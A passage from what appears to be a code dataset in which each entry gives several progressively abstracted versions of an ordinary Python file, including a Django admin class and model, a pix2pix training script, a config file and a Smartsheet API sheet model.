message = obj.talkproposal_set.all()[0].message\n except IndexError:\n message = ''\n return message\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass TalkAdmin(admin.ModelAdmin):\n <assignment token>\n <assignment token>\n <function token>\n\n def proposal_date(self, obj):\n try:\n date = obj.talkproposal_set.all()[0].date_submitted\n except IndexError:\n date = ''\n return date\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass TalkAdmin(admin.ModelAdmin):\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<code token>\n" ]

[ "\"\"\"-\"\"\"\n\nSETTINGS = {\n 'logging': {\n 'level': 'WARN'\n }\n}\n", "<docstring token>\nSETTINGS = {'logging': {'level': 'WARN'}}\n", "<docstring token>\n<assignment token>\n" ]

[ "from django.db import models\n\nimport uuid\n\n\nclass Task(models.Model):\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n goal = models.CharField(max_length = 255)\n deadline = models.DateField()\n payment = models.PositiveIntegerField()\n user_name = models.CharField(max_length=255, default='')\n user_email = models.EmailField()\n verificator_name = models.CharField(max_length=255, default='')\n verificator_email = models.EmailField()\n verified = models.BooleanField(default = False)\n closed = models.BooleanField(default=False)\n paid = models.BooleanField(default=False)\n #card_info\n\n def __str__(self):\n return f'Goal: {self.goal}, user: {self.user_email}'\n\n", "from django.db import models\nimport uuid\n\n\nclass Task(models.Model):\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n goal = models.CharField(max_length=255)\n deadline = models.DateField()\n payment = models.PositiveIntegerField()\n user_name = models.CharField(max_length=255, default='')\n user_email = models.EmailField()\n verificator_name = models.CharField(max_length=255, default='')\n verificator_email = models.EmailField()\n verified = models.BooleanField(default=False)\n closed = models.BooleanField(default=False)\n paid = models.BooleanField(default=False)\n\n def __str__(self):\n return f'Goal: {self.goal}, user: {self.user_email}'\n", "<import token>\n\n\nclass Task(models.Model):\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n goal = models.CharField(max_length=255)\n deadline = models.DateField()\n payment = models.PositiveIntegerField()\n user_name = models.CharField(max_length=255, default='')\n user_email = models.EmailField()\n verificator_name = models.CharField(max_length=255, default='')\n verificator_email = models.EmailField()\n verified = models.BooleanField(default=False)\n closed = models.BooleanField(default=False)\n paid = models.BooleanField(default=False)\n\n def __str__(self):\n return f'Goal: {self.goal}, user: {self.user_email}'\n", "<import token>\n\n\nclass Task(models.Model):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def __str__(self):\n return f'Goal: {self.goal}, user: {self.user_email}'\n", "<import token>\n\n\nclass Task(models.Model):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n", "<import token>\n<class token>\n" ]

[ "from datasets import get_colorize_w_train_dataset, get_colorize_w_test_dataset\nfrom pix2pix_training import training_session\n\nif __name__ == \"__main__\":\n train_ds = get_colorize_w_train_dataset()\n test_ds = get_colorize_w_test_dataset()\n\n fit = training_session(\"_colorize_w\")\n fit(\n train_ds, 150, test_ds,\n )\n\n", "from datasets import get_colorize_w_train_dataset, get_colorize_w_test_dataset\nfrom pix2pix_training import training_session\nif __name__ == '__main__':\n train_ds = get_colorize_w_train_dataset()\n test_ds = get_colorize_w_test_dataset()\n fit = training_session('_colorize_w')\n fit(train_ds, 150, test_ds)\n", "<import token>\nif __name__ == '__main__':\n train_ds = get_colorize_w_train_dataset()\n test_ds = get_colorize_w_test_dataset()\n fit = training_session('_colorize_w')\n fit(train_ds, 150, test_ds)\n", "<import token>\n<code token>\n" ]

[ "#-*- coding: utf8 -*-\n#IS_TEST\nIS_TEST = False#是否测试\n\n#mongo conn settings\nmongo_ip = '10.245.146.37'\nmongo_db_name = 'idomains_mine'\nmongo_db_name_samples = 'domain_set'\nmongo_clusters_table = \"clusters\"\nmongo_similar_domains_table = 'similar_domains'\n\n#exper samples file name\nsamples_file_name = 'exper_file/www577789.com_sample.pkl'\n#tld list file name\ntld_list_fn = 'SDM/req_file/tld_list.pkl'\n#dns server file name\ndns_server_file_name = 'SDM/req_file/dns_servers.txt'", "IS_TEST = False\nmongo_ip = '10.245.146.37'\nmongo_db_name = 'idomains_mine'\nmongo_db_name_samples = 'domain_set'\nmongo_clusters_table = 'clusters'\nmongo_similar_domains_table = 'similar_domains'\nsamples_file_name = 'exper_file/www577789.com_sample.pkl'\ntld_list_fn = 'SDM/req_file/tld_list.pkl'\ndns_server_file_name = 'SDM/req_file/dns_servers.txt'\n", "<assignment token>\n" ]

[ "# -*- coding: utf-8 -*-\n\nv=(2)//-8\nprint(v)\n \n", "v = 2 // -8\nprint(v)\n", "<assignment token>\nprint(v)\n", "<assignment token>\n<code token>\n" ]

[ "import logging\nfrom datetime import datetime\nfrom typing import (\n Optional,\n Dict,\n List,\n ClassVar,\n Generic,\n Type,\n TypeVar,\n Tuple,\n Any,\n Union,\n cast,\n TYPE_CHECKING,\n)\n\nimport attr\nfrom marshmallow import fields, pre_load\n\nfrom simple_smartsheet import config\nfrom simple_smartsheet import exceptions\nfrom simple_smartsheet import utils\nfrom simple_smartsheet.types import IndexKeysDict, IndexesType\nfrom simple_smartsheet.models.base import Schema, CoreSchema, Object, CoreObject\nfrom simple_smartsheet.models.cell import Cell\nfrom simple_smartsheet.models.column import Column, ColumnSchema, ColumnType\nfrom simple_smartsheet.models.row import Row, RowSchema, _RowBase\n\nif TYPE_CHECKING:\n try:\n import pandas as pd\n except ImportError:\n pass\n\nlogger = logging.getLogger(__name__)\n\n\nclass UserSettingsSchema(Schema):\n critical_path_enabled = fields.Bool(data_key=\"criticalPathEnabled\")\n display_summary_tasks = fields.Bool(data_key=\"displaySummaryTasks\")\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserSettings(Object):\n critical_path_enabled: bool\n display_summary_tasks: bool\n\n\nclass UserPermissionsSchema(Schema):\n summary_permissions = fields.Str(data_key=\"summaryPermissions\")\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key=\"accessLevel\")\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key=\"createdAt\")\n modified_at = fields.DateTime(data_key=\"modifiedAt\")\n\n version = fields.Int()\n total_row_count = fields.Int(data_key=\"totalRowCount\")\n effective_attachment_options = fields.List(\n fields.Str(), data_key=\"effectiveAttachmentOptions\"\n )\n gantt_enabled = fields.Bool(data_key=\"ganttEnabled\")\n read_only = fields.Bool(data_key=\"readOnly\")\n dependencies_enabled = fields.Bool(data_key=\"dependenciesEnabled\")\n resource_management_enabled = fields.Bool(data_key=\"resourceManagementEnabled\")\n cell_image_upload_enabled = fields.Bool(data_key=\"cellImageUploadEnabled\")\n user_settings = fields.Nested(UserSettingsSchema, data_key=\"userSettings\")\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\"userPermissions\")\n has_summary_fields = fields.Bool(data_key=\"hasSummaryFields\")\n is_multi_picklist_enabled = fields.Bool(data_key=\"isMultiPicklistEnabled\")\n\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context[\"column_id_to_type\"] = {}\n return data\n\n\nRowT = TypeVar(\"RowT\", bound=_RowBase[Any])\nColumnT = TypeVar(\"ColumnT\", bound=Column)\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(\n attr.Factory(dict), init=False\n )\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict), init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) -> None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) -> None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n \"Column with the title %s is already present in the index\",\n column_title,\n )\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) -> None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n\n if row.id:\n self._row_id_to_row[row.id] = row\n\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) -> None:\n for index in indexes:\n columns = index[\"columns\"]\n unique = index[\"unique\"]\n self.indexes[columns] = {\"index\": {}, \"unique\": unique}\n\n for row in self.rows:\n row._update_index(self)\n\n def get_row(\n self,\n row_num: Optional[int] = None,\n row_id: Optional[int] = None,\n filter: Optional[Dict[str, Any]] = None,\n ) -> Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f\"Index {columns} is not found, \"\n f\"build it first with build_index method\"\n )\n\n unique = index_dict[\"unique\"]\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f\"Index {columns} is non-unique and lookup will potentially \"\n \"return multiple rows, use get_rows method instead\"\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\"index\"])\n return index[query]\n else:\n raise ValueError(\"Either row_num or row_id argument should be provided\")\n\n def get_rows(self, filter: Dict[str, Any]) -> List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f\"Index {columns} is not found, \"\n f\"build it first with build_index method\"\n )\n\n unique = index_dict[\"unique\"]\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\"index\"])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(\n Dict[Tuple[Any, ...], List[RowT]], index_dict[\"index\"]\n )\n return non_unique_index.get(query, [])\n\n def get_column(\n self, column_title: Optional[str] = None, column_id: Optional[int] = None\n ) -> ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n \"Either column_title or column_id argument should be provided\"\n )\n\n def as_list(self) -> List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) -> Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n \"A column with the title %s does not exist in this sheet\", column_title\n )\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f\"Column {column!r} does not have ID\")\n cell = Cell.create_multi_picklist(column_id=column.id, values=field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) -> List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) -> List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) -> \"pd.DataFrame\":\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "import logging\nfrom datetime import datetime\nfrom typing import Optional, Dict, List, ClassVar, Generic, Type, TypeVar, Tuple, Any, Union, cast, TYPE_CHECKING\nimport attr\nfrom marshmallow import fields, pre_load\nfrom simple_smartsheet import config\nfrom simple_smartsheet import exceptions\nfrom simple_smartsheet import utils\nfrom simple_smartsheet.types import IndexKeysDict, IndexesType\nfrom simple_smartsheet.models.base import Schema, CoreSchema, Object, CoreObject\nfrom simple_smartsheet.models.cell import Cell\nfrom simple_smartsheet.models.column import Column, ColumnSchema, ColumnType\nfrom simple_smartsheet.models.row import Row, RowSchema, _RowBase\nif TYPE_CHECKING:\n try:\n import pandas as pd\n except ImportError:\n pass\nlogger = logging.getLogger(__name__)\n\n\nclass UserSettingsSchema(Schema):\n critical_path_enabled = fields.Bool(data_key='criticalPathEnabled')\n display_summary_tasks = fields.Bool(data_key='displaySummaryTasks')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserSettings(Object):\n critical_path_enabled: bool\n display_summary_tasks: bool\n\n\nclass UserPermissionsSchema(Schema):\n summary_permissions = fields.Str(data_key='summaryPermissions')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\nRowT = TypeVar('RowT', bound=_RowBase[Any])\nColumnT = TypeVar('ColumnT', bound=Column)\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\nif TYPE_CHECKING:\n try:\n import pandas as pd\n except ImportError:\n pass\nlogger = logging.getLogger(__name__)\n\n\nclass UserSettingsSchema(Schema):\n critical_path_enabled = fields.Bool(data_key='criticalPathEnabled')\n display_summary_tasks = fields.Bool(data_key='displaySummaryTasks')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserSettings(Object):\n critical_path_enabled: bool\n display_summary_tasks: bool\n\n\nclass UserPermissionsSchema(Schema):\n summary_permissions = fields.Str(data_key='summaryPermissions')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\nRowT = TypeVar('RowT', bound=_RowBase[Any])\nColumnT = TypeVar('ColumnT', bound=Column)\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) 